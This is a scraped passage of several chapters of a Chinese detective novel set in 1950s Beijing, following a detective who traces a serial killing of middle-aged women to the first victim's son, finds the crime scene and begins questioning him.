周凌风点点头“你们有什么问题就问吧，我知道的一定会如实回答。” “案发前你最后一次见你母亲是什么时候？” 周凌风想了想“在母亲出事前的早上，我去上班，那天早上是母亲做的饭。” 周三海在一边撇了一下嘴。顾昭蕙看了他一眼，周三海嗤笑的说了一下“她来到我们家也就生孩子之前做过几次饭，后来啥家务活都不做。” 周凌风看了他爸一眼，然后说“可能那天是我第一天上班。所以母亲给我做了饭。” “那几天你母亲有没有什么异常？”顾昭蕙问。 “我没发现什么异常，都很正常，那时候城里有点紧张，我找了个工作，去一所中学当老师。我妈还挺高兴的。”周凌风说道。 顾昭蕙看着他“对于你母亲的‘朋友’你有什么印象吗？他后来找过你母亲吗？”顾昭蕙一边说一边看着周凌风，他表面上并没有太大的变化，但是手用力捏了捏。 周凌风眼皮往下耷拉一下“我不清楚，我们搬了家后我就再也没有见过，我母亲也改好了，我并没有发现他们继续来往。” 顾昭蕙点点头，之后又问了几个问题，然后和李想再次告别，周凌风送他们出来，他现在依然当着老师，不过转到一所小学。说话间条理清楚，看起来性格也很好，甚至带些文雅，并不像是周父口中那个暴打母亲情夫的那个冲动的年轻人。 周家厨房就在自家门口搭着的一个棚子，听见他们离开周三海妻子从厨房里走出来，跟他们两人打招呼再见。 她目光在几个人的脸上扫过，顾昭蕙发现她停顿了一下，不过很快就若无其事的继续笑着说话。 回到局里那边调查的王星也回来了，“怎么样？你那里有什么收获吗？” 顾昭蕙点点头“有一些，周三海说了一些情况是之前没有的，蒋芳出轨，与几个男人保持不正当关系。” “哎，这个有点相似，受害者丈夫前年工作的时候被巨石砸到，人没死却瘫痪了，之后就有人谣传女人跟几个男人有不正当关系，不过我调查过，那几个人虽然有点口花花，但是并没有什么关系，怎么说呢，受害者只是靠着跟人暧昧，贪点小便宜。” 顾昭蕙接过王星手上的笔录看了一下，“可是如果不是特意调查过，很多人就会将谣言当做事实，或许这就是受害者被选中的原因。” 王星说道“对了，津市有一起案子，五零年，受害者被发现时已经面目全非了，到现在都没有确定受害者身份。是一桩无头公案。我有一朋友是津市市局的，我记得当初他跟我提过这样一个案子，说是受害者被刺了很多刀，我刚才打电话问他，那个案子死者刀口位置与咱们这边死者位置几乎相同。” “津市？当初蒋芳死的时候周三海就是在津市舅舅家帮着盖房。”顾昭蕙记得清楚。 “当年情况很混乱，很多事情查的不是那么清楚，我们自己也得调查一下。我让津市那边人帮着把档案送过来，估计明天早上就能到了。这也算是一个新的突破。” 晚上吃过饭，顾昭蕙回到自己房间，院子里蒋父正跟人下棋，现在天气热，天黑的晚，大院里吃了晚饭后，都 12. 第 12 章 《五五迷雾寻踪》全本免费阅读 第十二章 早上一上班顾昭蕙就看到了那份津市的案卷，听说津市那边知道案情有变化的时候就派人连夜送过来，别看两个城市挨着，可这个年代来回也很费劲没什么车，津市的同事还是坐着火车赶过来的。 顾昭蕙拿过案卷，就看了起来，死者是五零年四月份在海上被发现的，当时两位渔民在靠岸前看到就给捞上来了，还以为是那个想不开的，不想捞上来后看到尸体上的伤口才知道是他杀，报警后经过一段时间查找并没有找到受害者身份，那时候也没有人口普查，户籍管理更是乱套，如果没有受害者家属报案更是无法查起，查了一段时间案子就挂着了。 案卷上写着的是，女子年龄三十至四十岁，身高一米六三至一米六五，因为海水泡过，结果不是特别准确。女子胸部和子宫都被刀刺十几下，没有侵犯痕迹。 顾昭蕙一边看一边回忆另外两起案子的卷宗，“三起受害者身高都差不多一米六五左右，被刺位置相同，同样没有侵犯痕迹。津市受害者和南城受害者，两人都是赤身没有穿衣服。似乎凶手就是想将他们暴露出来。” 王星点点头“那个钱芳不是跟后两个受害人一样？” 顾昭蕙摇了摇头，将钱芳的案宗拿了出来，将里边的一张照片翻出来“你看这个，旁边有一个线毯，看上面的血迹，应该是覆盖在死者身上的，就是不知道是什么原因被谁揭开的，或许是当时探查人员，掀开的但是没有照相记录。更何况钱芳身上还有内衣遮盖，只是破损了。与后两位不同。” 王星仔细看了看“还是你细心，我看这么多回照片都没有发现这个问题。” “我觉着钱芳的死与后两位有些不一样，凶手或许与前方认识甚至钱芳的死就是一切的起点。” “有怀疑对象吗？”王星问。 顾昭蕙点点头，又摇了摇头“暂时只是一个怀疑，是我的直觉。” “说说，咱们自己说说。”王星现在对顾昭蕙有些信服的，这姑娘这么快就把案子给捋顺了。 顾昭蕙想了想吐出一个名字“周凌风。” 王星一下子坐直身体，十分惊讶的说“她儿子？怎么会？” 顾昭蕙摇了摇头，“这只是我的直觉，周凌风曾经发现母亲与人偷情，按照他父亲说法他表现的十分激烈，最后那次差点将人打死，他有暴力倾向，昨天我与他接触后发现他的性格与他父亲所说完全不同。” 王星没有打断她，继续聆听着。 “从三个受害者的死亡情形来看，凶手对死者带有恨意，他发泄着，死者都是四十岁左右，说明这个年龄的女性是凶手报复的对象，一般连环杀手伤害女性对象，有两类女性，一个是情人爱人，受到感情伤害与刺激，这样的凶手选择的时候就会选择与伤害自己的女人年龄长相或者外貌形态相似的女性，但是他们选择年龄的时候都是偏小的，三十岁以下较多。四十岁这个年纪，按照现在早婚早育的情况，通常都是母亲了，这类女性带有母性和一定的魅力。是年轻的凶手选择的对象。案发当时周凌风二十岁，这个年龄正是介乎成熟和冲动之间的状态，他会因为一时冲动做出无法挽回的错误，又因为成熟能将过错掩盖掉。” 王星觉着自己都要被说服了，“你说的有道理，但是我们不能因为你的这番推测就怀疑一个儿子杀死自己的母亲，我们需要更多的证据。” 顾昭蕙点点头“您说的对，这些都是我的推测没有任何证据，而且通过昨天的接触，我发现这个周凌风心思缜密，以前的证据很难找到了，尤其津市的那起，除了能并案调查，没有任何的进展。” “做过就会留痕，既然咱们咱们有怀疑对象了，那就想办法找到证据。”王星说着将手上的档案往桌子上一放“这样小李，咱们津市的同志还没有回去吧？”王星问李想。 “没有呢，他坐下午的车。”李想在旁边听着两人分析案情，脑袋有点不好使了，一直在做记录。 “这样，你跟着一起去一趟津市，让津市同志帮着调查一下，案发的那个时间，周凌风是不是在津市？据说周三海的舅舅在津市，他的好些亲戚都在那边，好好询问一下，那段时间周凌风是不是在？” 李想点点头，将钢笔盖上，“好的王哥，我这就去订票。” 王星说完看向顾昭蕙“津市那边调查估计需要一些时间，都过去好几年了，也不一定能查到，咱们这边也要调查一下周凌风的时间线。” 顾昭蕙点头“我这样想的，假设周凌风是凶手，那么钱芳的死或许是个意外又或者是什么刺激了周凌风，这个有点远，也不好查，但是第二个死者呢，为什么是五零年，那个时候周凌风发生了什么事情会刺激他？还有这第三起又是为了什么？如果真是他做的总要有个诱因。” “你说的对，咱们就从这个方面查找，先确定他的杀人动机。” 案件有了查找方向，王星就有了信心，直接调配人手开始进行走访查探，之前因为案子并没有太多进展，组里也没有派人手，现在有了进展，直接下去找了当地派出所的人一起进行调查，实在是市局人手也不够，尤其这边两个案子一起进行的时候。 顾昭蕙倒是没有太在意是谁跟着一起工作，她先去片区派出所，将周三海以前住的地方户籍查看一下，等查了才知道，周三海当年搬家不就，他住的地方就发生了爆炸，当时很多居民都搬走了。那时候还没解放所以很多人都不知道去了那里，想要查找有些麻烦。 顾昭蕙也没有办法只能将那一片户籍记住，然后一点点的找。就跟解开杂乱的毛线一样，一点点的捋。绝对是个繁琐的过程。 案件过去七年，世界却发生了巨大变化，好在顾昭蕙的大脑跟电脑似的善于整理记录，经过早年记录和现在片区户籍档案进行对比，她找到了几家原来居住在附近的邻居，感谢五三年的人口普查，京城的人口普查做的更细致，登记做的完善，不然她还要费一番功夫。 通过这些邻居，她又知道另外一些人住处，老京城人，邻里间处的跟亲戚似的，搬家了也还互通往来，就这样你找他他找他的，一整个关系网，将一个院子里的人大多数都找到了。 通过这些老邻居的了解，顾昭蕙知道更多。 钱芳确实如周三海说的有点水性杨花，周三海的父亲是个厉害的，因为就剩一个儿 13. 第 13 章 《五五迷雾寻踪》全本免费阅读 第十三章 “查到了。”王星快步走进办公室，许是走的太快有点气喘吁吁，看见顾昭蕙就兴奋的说。 顾昭蕙将他桌子上的水杯递过去，“王哥先喝口水。” 王星拿过茶缸子咕咚咕咚的喝了大半缸子，放下缸子穿了口气“今个早上你没来的时候我接到李想电话他那边已经查到了五零年那案子发生之前周凌风确实去过，不过他没有跟当地亲戚联系，只见过一个远方的表哥，他过去是想让他那个表哥帮着调一下工作，不过不着调为什么第二天他就告辞离开了。” 顾昭蕙听到这里眼睛一亮“那确定了所在地吗？” 王星点点头，“找过人确认洋流方向，可以划定抛尸范围，与他表哥家所在地非常近。” 顾昭蕙舒了口气，案件似乎明朗了。 “我让李想留在那边，根据抛尸范围还有他表哥所在地进行排查，看看能不能找到受害者家属。看看能不能进行联系。” “虽然排查范围太广，也是一个方向。” 王星这会坐在桌子边上，打开手上一直拿着的档案袋，“早上我接到电话，我又去了一次受害者家里，进行了排查，你看看这个。”他文件递给了顾昭蕙。 顾昭蕙接过来，一看“受害者女儿是周凌风所在中学的？这也不是一个片区？” 王星点点头“我也没想到，受害者丈夫受伤之后，孩子就送到姑姑家了，那孩子学习不错，他姑姑也是没了丈夫家里就一个人，觉着孩子学习好将来也有出息就帮着养着，今年刚上中学，他们小学初中时一体的，以前小学时周凌风是她的数学老师。” “这就是有交集了，周凌风应该就是通过这个了解了孩子母亲的信息。” 王星摇了一下头“不光这个呢，上个月孩子在学校里被两个女生给打了，那两个女生其中一个说那姑娘母亲勾引人，我查了就是与受害者有暧昧的一个男人。家里父母打架了，孩子听到了就上了心，可能就因为这个被他当做目标。”此时王星已经非常相信顾昭蕙的判断了。 “调查进行到这里，他的嫌疑已经很大了，但是我们还是没有证据证明他与案件有关。”顾昭蕙说道。 “我倒是觉着咱们可以找他回来问一问。”王星说道，以这个年代办案办法，有这么多嫌疑已经可以进行审问了。 顾昭蕙摇了摇头，虽然现在还没有明确的法规，但是顾昭蕙不希望没有证据的情况下抓人，这个案件可以说是她主观认定，然后进行心理推断，到寻找作案时间。一切都是推定的，还是要找到证据，这样一个连环杀人案，如果不能让凶手认罪，以后也是可能被犯案的，更何苦样她怀疑受害者不光这三个人。 她想了想说，“王哥，我是这样想的，虽然现在我们所有的推论都指向周凌风，但是没有证据的情况下还是不要惊动他，这案子三个现在已经有三个死者了，公布出去就是天大的案子，如果不能有足够的证据是无法给人交代的，我看过市局四九年之后的案子还有一些未破获的案件，很多案件都是靠保卫科破获，市局威信不足，我想我们需要一些典型案例来给市局做出榜样。我不是说市局实力不行，王哥你也知道我们很多案子是不能公之于众的。”市局现在很多案子都跟敌特有关系，目前来说这方面抓的还是很紧的。与之相比普通案子重视就不够了。 王星点点头“你说的也对，那我们接下来该怎么办呢？” 顾昭蕙说道“最后一起案子我们还没有找到第一案发现场，是不是可以从这方面入手，另外就是当年钱芳的案子，她也是被抛尸在外，那个地点离她家里也不是很远，如果假设周凌风是凶手，那么他的杀人地点在哪里，我想在他家里的可能性很大。” “你说的对，我看了档案当时法医定得死亡时间是上午，那天就在他们胡同不远的地方举行了游行活动，胡同里不上班的很多都去看热闹，当时也有锣鼓声，所以他们一个院子里的人也没有听见他家里有什么声响，但是他家的老太太腿摔折了，一直在家，所以她应该知道自己孙子做了什么。” 顾昭蕙点头，“老太太不会说的，她本身对钱芳就有恨意，更何况是自己孙子。但是我想如果在家里的话，应该会有些痕迹。”这时候人不会有清理现场的概念，最多就是打扫一下，这时候也没有鲁米诺反应检测，这样的检测要到七八十年代才开始应用，而全方位使用还需要到九十年达。当然这个年代取证也有二三十年以后那么细致，只要找到一定证据就可以定罪了。破案嫌疑人口供更重要。 “这样他家里先放一放，暂时先让人盯着周凌风，咱们先找一下第一现场。”王星想了想说到。 寻找第一现场也是不容易的事情，顾昭蕙没有接触过这位嫌疑人，之前她负责调查钱芳那条线，王星的调查已经很细致了，她仔细的观看了证人笔录，做的很细致，厂子里街坊邻居，所有认识死者的都进行了排查问询。 只看这些的笔录顾昭蕙也将受害者全面了解了一下，这位受害者叫郑香草，这位怎么说呢，她附近邻居对她印象都很好，是个很勤奋的女人，丈夫瘫痪之后也没有抛弃，一直照顾着，王星去家里看过，发现男人看起来比其他卧病在床的人好多了。可以看出她照顾的很好，跟周围邻居关系处的也挺好的。 不过在厂子里她的名声就不好了，总是有各种各样的谣言，仔细看这些谣言，顾昭蕙就发现，之所以有这些谣言，就是因为女人喜欢占一些小便宜，有时候会为了多要一点东西给人笑脸相迎，其实这也是能理解的，他家里除了瘫痪的男人，还有三个孩子，大闺女在大姑子家还行，剩下两个男孩也十一二岁了，正是能吃的时候，家里还有一个婆婆腿脚不灵便也做不了什么。这么一大家子靠她一个人养活，她在厂子里做不了技术工，只能做些后勤工作，工资是除了临时工外最少得，一个月十几块，挺不容易的。 而这些谣言中还有一些是厂子里一些男人看她家里男人不顶用，就开始口花花，谁都上前欺负两下，女人们是不会说自家男人的问题，反而将问题矛头指向女人，时间长了，她名声就不好了。 顾昭蕙整理一下郑香草的行动轨迹，发现她每天下班之后会比别人晚到家一会，邻居倒是不知道她去哪里，但是知道她每天回来会带一些菜回来，她家里吃的最多的是菜团子。 想了想顾昭蕙带着一个原来内勤人员，吴非，二十三岁，年级比顾昭蕙大，看着却很清澈，中学文凭，原本做文职，负责一大队的一些档案撰写，也负责做笔录。听说字写得很好。 因为缺少人手，王星特意将他要过来，不让顾昭蕙一个人出去调查，就怕出现什么意外，虽然这个吴非看着也不 14. 第 14 章 《五五迷雾寻踪》全本免费阅读 第十四章 这天下班回家已经六点多了，最近她工作经常会晚一些，王星也会带一组出去，她总要等那边回来两边交流一下线索才会下班。这个案子如今办到这种程度，也算是到关键时刻了。 到家的时候院子里蒋父和另一个老头在下象棋，看到她到家说道“厨房锅里有饭，还热着呢。” 顾昭蕙应了一声，就进了厨房，今天调查回来就已经晚了单位厨房没什么吃的，可能知道她最近调查案子，家里总是会给她留饭，今天婆婆是晚班。她现在在医院里是护士长，一个月也要值几天班的。 掀开锅盖，里边竟然是米饭和青椒炒肉，一看青椒炒肉就是新抄的，她感觉自己情绪上没什么波动，但是大脑又告诉她，这个时候她是感动的。 很久没吃米饭了，蒋家人喜欢吃面，大米饭价格又比白面玉米面贵一些，所以家里很少吃米饭，更何况这种看起来白白米饭，属于精米价格又高了一些。 一口口将饭菜吃光，她感觉有那么一点撑，不过又有一些满足。难得的状态。 没有电脑，查不了太多资料，没有摄像头，无法查找凶手的影响，这年代想要破案，就得下功夫，顾昭蕙也没有更好的办法，她先是骑着自行车将南城走了一遍，从市场到发现尸体的地方，再到周凌风的学校宿舍，全都走了一遍，每一条胡同，每一条巷子全都走了一遍，然后就是去各个片区查找户籍，每家每户都住什么人，所有的记录全都看了一遍。 这是个很笨的办法，除了她也没有人能做到了。 整整一个星期，顾昭蕙才将这些资料全都整完，她觉着自己脑子涨得慌，运转都慢了，不过效果还是不错的。 “王哥。”顾昭蕙将几个资料放到王星的桌子上。 “这是什么？”王星这一个星期也没闲着，津市那边有了好消息他去了一趟，已经确定了死者身份，他在那边调查了一下，虽然还没有直接证据但是也确定了周凌风有作案时间也能接触到死者。 “我这个星期查了一下南城几个片区的户籍资料，这几个人的户籍资料有些问题，你看是不是要找人查一下。”顾昭蕙说道。 王星好一会才反应过来“你是说？”他翻看一下。 “嗯，这几个户籍落户时间，还有落户愿意，以及他们的人际关系都有点问题。估计是留下来的。对这个我也不太懂。”这算是意外收获。 王星都有点傻眼了，他看了看户籍资料，“不是你把那几个片区都查了一遍？” “不算是全查，就大致捋了一下，咱们市局名头还是很好用的，幸亏之前的人口普查不然还没有这么多户籍信息呢，我想着带两个人将这片地扫一下，看看能不能将现场扫出来。” 王星觉着自己心脏都要跳出来了，案子还有这么破的？这得多大的工作量啊。“这得弄到什么时候去？” 顾昭蕙想了想说“也不用太多时间，我之前去看户籍的时候顺道去了居委会，很多地方他们都很了解，我只要找到那些户籍不明的，混乱的地方查一下就好了。很多地方都不需要去查，如果是租房肯定也是私下住住的。”实际上顾昭蕙不觉着周凌风会租房子。 王星觉着顾昭蕙的方法行不通，不过也不阻拦她去试一试，顾昭蕙带着吴非出门，她先从大脑里将范围内片区进行分类，分为安全区模糊区危险区，然后将脑海中的地图和户籍资料进行结合，形成一张新的地图，这张图又将大多数地方排除了，这些地方每家每户几口人，都是十分清晰地，有的地方资料清楚的连每户人家有几间房都能确人，这些地方都可以排除。 经过细致划分，工作量又减少很多，剩下的就是需要排查的，顾昭蕙在这些地方又进行了心里侧写，假如她是凶手会选择什么样的地方，然后将这些地方再次进行划分。最后挑选最有可能的地方。 “顾同志，会不会范围太大了。”吴非说道。 顾昭蕙摇了摇头，“我已经去掉百分之八十的地方，剩下的百分之二十中只有百分之五可能性比较大，我们只是到地方去查一下，如果快的话一两天就会有结果了。” 来到他们最先排查的地方，顾昭蕙想了想“咱们先去派出所借几个人。” “为什么？”吴非问道。 顾昭蕙想了想说，“咱们准备排查的地方，都是我挑出来可能有问题的地方，那些地方不一定是凶案现场还有可能隐藏一些别的什么。” 吴非听不明白，不过也没什么理由反对，两人再次骑车去了派出所，到派出所说明了情况，“你的意思你是想把我们这一片都查一遍？你知道咱们这一片有多少人吗？多少户人家？光靠几个人怎么能查的过来？”一位三十多岁的民警大叔看俩人跟看傻子似的。 “户籍登录一千三百四十七户人家，人口6192人，我们需要重点查找的也就一百多户，并不是很困难。”顾昭蕙说道。 民警大叔看了看顾昭蕙张了张嘴，“我带人跟你走一趟。”他说完叫了一个年轻的民警，骑着车子跟着一起出门了。 路上这位民警大叔介绍了一下自己，叫孙兴，年轻的叫李辉。他们也打听了一下听说是前段时间的女尸案倒是认真了很多。当初他们里的近先去的现场，死者情况他们也看了，看起来就是非常残忍的，“说起来，这样的案子跟我以前看过的一个案子挺像的。” 嘎吱——顾昭蕙自行车一下子停住了“您说您看过相似的案子？” 孙兴也停下来，“对呀，是有个案子，四九年初，不过那个案子跟这个没有关系，那个案子凶手都抓住了。” “抓住了？案子在哪发生的？”顾昭蕙问。 “也在咱们这南城。在那我有点记不得了，不过凶手是她丈夫。”孙兴说道。 顾昭蕙皱了皱眉头，想着回去要看看档案。 四个人按照顾昭蕙的地址开始排查，她找的地方果然是有些问题，刚查过四户人家，就查到了一处贼窝，里边正好有四个小贼头在里边分钱呢，一下子被他们给抓住了。这户当初被筛查出来，就是户主登记有些问题，不清楚，经过初步问询，这房子以前的主人已经跑了，就被贼头给占了，但是登记还是原主人的地址，而街道上则地址又登记的贼头的名字，顾昭蕙就怀疑这里有问题。没想到还真查出来东西。 孙兴和他那个同事手段倒是挺厉害的。跟吴非两人一下把人给抓到了，顾昭蕙倒是发现自己不足，武力值不行，顾湘是警校学 15. 第 15 章 《五五迷雾寻踪》全本免费阅读 第十五章 仰光胡同二十八号，几个人骑着车来到这个胡同，顾昭蕙往两边看了一下，这座西边房子紧挨着巷子，巷子那边是个火柴厂，房子东边是个大杂院，她记起了这边大杂院的人都是火柴厂的工人。 院子从外边看有点荒凉，墙头都有枯草，从院子外边看西边的房子都坍塌了，这院子应该是自己盖的，后边还有个不大的小院。 回到大门口顾昭蕙看了看大门，门上有一把锁，她仔细看了一下，从兜里掏出手套，然后小心的拿起锁往锁眼里看了一下“这锁最近被人打开过。” 孙兴不明白这有什么“那怎么样？” 顾昭蕙摇了摇头，看向吴非，“拍照。” 他们之前申请了照相机。吴非听了点点头，从随身的背包里拿出照相机，顾昭蕙将锁眼对着光线，让他照了一张照片。然后她又低头看了看地面，地面没有太多线索，但是看着大门转轴的位置，有开合的痕迹。她仔细四处看了看发现大门旁边的一块砖似乎活动的，伸手将那块砖拔开把手伸进去，果然摸到一把钥匙。 几人都很惊讶的。大门被打开，顾昭蕙推开门，不过没有动，她看了看地上院子里杂草丛生，不过能看出来有脚印，“这些脚印都拍下来，做个对比。”说完回过头看向孙兴“孙哥你和小杜在门口等一下，看着点别让人靠近。” 孙兴点点头，这会他也看出来了，这地方恐怕有问题。 “吴哥你跟在我后边，小心点别碰到别的地方。”顾昭蕙说着小心的往前走，躲过那些可能是凶手留下的脚印。 “这里，照一下。”顾昭蕙指着一道痕迹，似乎是拖拽的痕迹，走了几步，她就停下了，因为就在她左前方不远处砖地上有一滴滴落的血迹。她指了指。然后让吴非停下来，自己小心的走到正房门边透过破损的窗户纸看向里边，屋子里乱七八糟的，不过最明显的就是靠南墙的炕上那一大滩血迹。那些血迹的颜色虽然暗沉但是一些地方还能看出红色，对比档案中的照片，这块血迹不是丁淑芬当年受害时的血迹，所以这个地方可能就是郑香草遇害地点。 顾昭蕙想了想，对吴非说，“得给局里打电话，这里可能就是第一现场。” 吴非点点头，“我去打电话。” 看着吴非骑车离开，顾昭蕙也没进去，第一现场肯定要有一些线索。等那边拿了勘查工具然后在进去。她让小杜去居委会找人没一会就过来了。 来的是两个三四十岁的女同志，一个姓余一个姓孟，“余大姐你们对这个院子情况了解多少？这个院子为什么没有租出去？”现在市里缺房，所以各家多出的房子由居委会统一出租给各个单位。 “这院子是金家的，金勇当年杀妻判了终身监禁，他家老太太没几天就去了，老头子前两年也没了，原本房子是要收回来的，但是当年那事闹的太大，当时许多人都看到那场面，吓坏了，事也传了出去，后来老两口没两年都没了，又说这院子有鬼，邪性。”余主任说着有点不好意思的拍了拍手“哎，咱们现在不讲封建迷信，那都是骗人的。除了那个也怕有一天金勇出来，谁要住进去也怕金勇报复，所以房子就空下来了。” “旁边那院子有几户人家什么情况？”顾昭蕙问。虽然前后房离得远点，可能听不到什么，旁边院子就不一样紧挨着这边有点啥动静按理说应该能听见的。 这会说话的是孟大姐“旁边住了四户人家，拢共十九口人，其中有七个是火柴厂的工人，孩子六个剩下的就是几个老人，有两个老头在火柴厂打更，四个老太太倒是常在院子里带孩子糊火柴盒。这个时间可能就老人小孩在家。” 顾昭蕙合计一下，这个地方说起来也算偏僻，想了想她来到院子，发现院子里的地上脚印深浅差不多，细细辨认能看出来在门口有两个不同的脚印，一行应该就是周凌风的脚印，看脚印长度深浅，人身高大约一米七五至一米八，想要得到确切结论还需要更细致的测量。另外一个脚印明显是女性脚印，能看出鞋上磨损程度，如果有鞋子对比应该能确定是受害者的。 女性脚印只有进入和拖拽痕迹，却没有出去的痕迹。男性脚印深浅相似。所以男人没有从这个地方将尸体运出去。 顾昭蕙小心的来到西墙下边，仔细看了一下，果然就发现了一行比较深的脚印，还有墙上绳子拉扯的痕迹。尸体从这个地方被弄出去的。看这条巷子，按照脑海中的地图进行演示，只要从这里往南走，然后在拐两道弯，就离抛尸地不远，夜里几乎没什么人。 “可是如果将人骗过来，怎么会一个人都看不见，肯定有目击者。”顾昭蕙看了看，就算从西边路过来也是能看到的，就算那个时间是各家吃饭的时间，但是也不能保证没有人看到。 顾昭蕙有点想不明白。 “孟大姐，七月十六号你们这边发生了特别的事情吗？”顾昭蕙问道。 “特别的事情？什么样算特别事情？”孟大姐有点懵。 “就是那种特别吸引人的事情，把人都吸引过去的事情？”顾昭蕙问。 “哦，我想想，七月十六号？想起来了，七月十六号，他们隔壁院可不是发生大事情了，当时闹得挺大的，一个胡同的人都引到他们院子了，还把我给整过来了了。”孟大姐说着脸上表情古怪。 “什么事？”顾昭蕙都奇怪了。 孟大姐有点憋不住笑的感觉，“这不是当时要下班的时间，那边有个老李家，他家里有个老太太是个老寡妇我们胡同老住户了，她年轻守寡带着儿子一起过，现在儿子成家了，两口子都在火柴厂上班，家里过得不错，那天晚上儿子儿媳妇下班就发现家里没开火，老太太 16. 第 16 章 《五五迷雾寻踪》全本免费阅读 第十六章 局里带队的是范伟强，“什么情况？”范伟强见到顾昭蕙后问道。 “简单看了一下里面有大量血迹，我怀疑是第一现场。”顾昭蕙看范伟强和另外几个人要进去，赶紧拦住，“组长，这个地方四九年初发生一起凶案，当时的凶手已经被抓，但是我看过档案，死者收到的伤害与我们七一六案伤口位置相同，死者死亡照片与本案基本相同，除此之外还有另外两个案子与之相似，我们经过细致对比发现凶手可能是一个人，几个案件可以并案调查。” 范伟强停下脚步，看向顾昭蕙“已经有怀疑对象了？” 顾昭蕙点点头“是的，只是缺少证据，这个院子可能是第一现场，里面可能有大量证据。”因为她看到跟范伟强一起来的人应该是一组的组员，有两个这些日子已经认识了，但是还有两个没见过，估计一直出外勤，可是这些人对现场保护似乎没有那么专业所以她拦了一下。 范伟强点点头，叫了后边两个勘查现场的技术员，“让他俩配合你，我们先不进去。” 顾昭蕙认识两人，听说是局里专门勘查现场的人，属于那种跟以前老人学习的学徒出师，至少比那些组员更懂得保护现场。 带着两人进入院子，先在院子里取证，她虽然不是专门的现勘却也是系统学习过的，比这些人强多了，只是巧妇难为无米之炊，他们手上能用的取证工具太少了。 院子里重点测量一下脚印的痕迹，然后就是墙上的绳子残留，全都弄好之后顾昭蕙才带人进屋，不过在屋门处就弄了半天指纹，然后进入屋子，屋子里能看到就是一个典型的犯罪现场，里面没有任何的掩饰，外间就是凶手将尸体打包，做转移前的准备，地面有大量的血迹，用一个床单擦拭过，床单就堆在门口的一角。里间是杀人现场，可以看出凶手在这里停留很长一段时间，烟头指纹甚至凶器都放在这个屋子里，可以说满屋子的证据，可是这年代能用的极少，好在刀子上的指纹很清晰，也许凶手太过用力，再匕首握把的位置有些血迹，应该是凶手的，这个也可以测出血型，虽然没有DNA检测但是可以对比血型。血型加上指纹，已经能定死了。 顾昭蕙还在屋子里找到两个血脚印，因为沾了血迹更加清晰。有这两个脚印，已经能确定凶手的身高体重，“抓人吧。”就在看到两个脚印的时候她已经确定了周凌风就是凶手，身高体重全都吻合，除此之外鞋的印记磨损痕迹，和那天她见过周凌风穿的那双鞋一模一样，已经是确凿无比的证据了。 范伟强听到后点点头，扭头跟吴非说道“打电话给局里抓人。”今天早上他那边的案子就已经结了，所以王星接到电话他就带人过来了，本来案子是王星的，但是王星没来，说是等通知，得到信就可以抓人了。本来还想着不太靠谱，就是一个怀疑对象这就确定了？ 事实上，周凌风虽然知道将自己与受害者割裂开，但是显然他根本不知道清理现场，所以别说顾昭蕙这个有着未来勘查知识的存在，就是顾昭蕙跟着的两人，也能找到不少证据。 只是没有她那么细致而已。 让范伟强去抓人后顾昭蕙一头又扎进现场，她非常细致的收集证据，光是指纹提取带就用了差不多半年的量，原本两个跟着她的现勘还有点意见，毕竟这两人已经在局里工作好几年了，但是看到她工作方式之后两人几乎不敢动了，他们发现很多地方对方都已经将证据提取完毕了，他们俩还没看出到底有什么问题呢。 回到局里已经过了下班时间了，来都办公室，突然响起了掌声，一组的成员竟然都全了，甭管是否参与了这个案子，这会已经了解完毕了，听说这位新来的女同志这么就将案子给破了，还是这样一个连环杀人案，49后还是第一次遇到，尤其听说她的破案思路破案方法简直就是天马行空，神探了这是。 顾昭蕙也有些不好意思，过了一会看向王星，“王哥人抓到了？” 王星点点头“是的，抓到了。不过等你审呢。这个人跟我们以前遇到的凶手一点也不一样，看起来很冷静，被抓后也没怎么反抗，但是看样子也不是容易开口的那种。” 顾昭蕙点点头，“提前拿回来的样本检测怎么样？” 王星说道“指纹血迹都吻合。他就是一句话不说，也能定罪了。” 顾昭蕙想了想，“我去周家和他家里看看。” “周三海那里吗？七年了还能有痕迹吗？” “看看吧，也晾一晾他，不着急。”案子基本上已经破了。 听说她还要去家里查找线索，两位现勘拎着工具箱就跟在后边，这两人一个叫段洪，一个叫卢莫，俩人都是从部队上下来的，四九年加入市局后就跟以前的老法医学着做事，原本觉着自己已经挺厉害了，现在俩人发现还有更厉害的，有的学了。 顾昭蕙也不藏私，之前一边勘查，一边将能说的现在能用的东西都教给他们俩，她也不是没想过自己这样的表现会不会引起谁说的怀疑，但是她觉着自己偷偷摸摸的隐藏这个隐藏那个更值得怀疑，还不如大大方方的表现出来，如果谁要怀疑，那就是脑瓜好，过目不忘，什么看了就会，天才总是不同的。而她的资料也不是不能查的，身家清白，二十年都在人眼皮子底下，不怕查。 来到周家的时候，周三海还不知道自己儿子被抓了，这次过来带人过来的，几个外勤直接将周家的屋子给围住了，然后按照顾昭蕙的意思，将周家老太太和林桂芝一起带回去。周三海可能是家里唯一无辜的人，也带回去。 过了七年周家的屋子已经完全变了，周三海结婚的时候也装修过，甚至进行了粉刷。 顾昭蕙看了看屋顶用报纸糊的，墙壁用的石灰看起来有点脏。不过还是很整齐的。 地面铺着砖块，除了屋子正中间的红砖，里边砖破一些，估计也很多年没有换过，她先来到卧室放床的位置，这个年代人比较讲究风水，一般情况是不会挪动床铺，而且这木床看起来有些老旧，估计还是以前的床，顾昭蕙将床上的被褥 17. 第 17 章 《五五迷雾寻踪》全本免费阅读 第十七章 “我想你心里清楚你为什么会坐在这里，你奶奶的笔录已经做好了，她讲所有的事情都说了。你也不必有侥幸心理。”顾昭蕙说着扬了扬口供。 周凌风脸色变了变身体往后靠了一下，“我奶奶都七十多了，她都老糊涂了，她说的话又怎么能当真呢。当然你们如果想要找替死鬼我也没话可说，不过不会有人会相信我将自己的母亲杀死的。” “好像没有人说我们是因为你母亲的事情将你抓起来吧。”王星说道。 周凌风呲笑着摇头“你们不是去我家里调查过吗，不是就是为了找抓到杀我母亲的凶手吗。” 顾昭蕙笑了笑，将手上那么厚的一沓子文件分类放好，然后对周凌风说道“好吧周凌风，其实我们也不是特别想要你的口供，现在也不需要你说什么，这段时间我们真的是调查很多事情，废了很多事情，你看看光是案卷就有这么多，现在我真的想好好说说这段时间查到的东西。算是听个报告，好吧。”她说着看向周凌风笑了笑，那笑容似乎没有特别的意义，很温和的一个笑容。可就是这样一个笑容让周凌风脸上表情紧绷了一下。 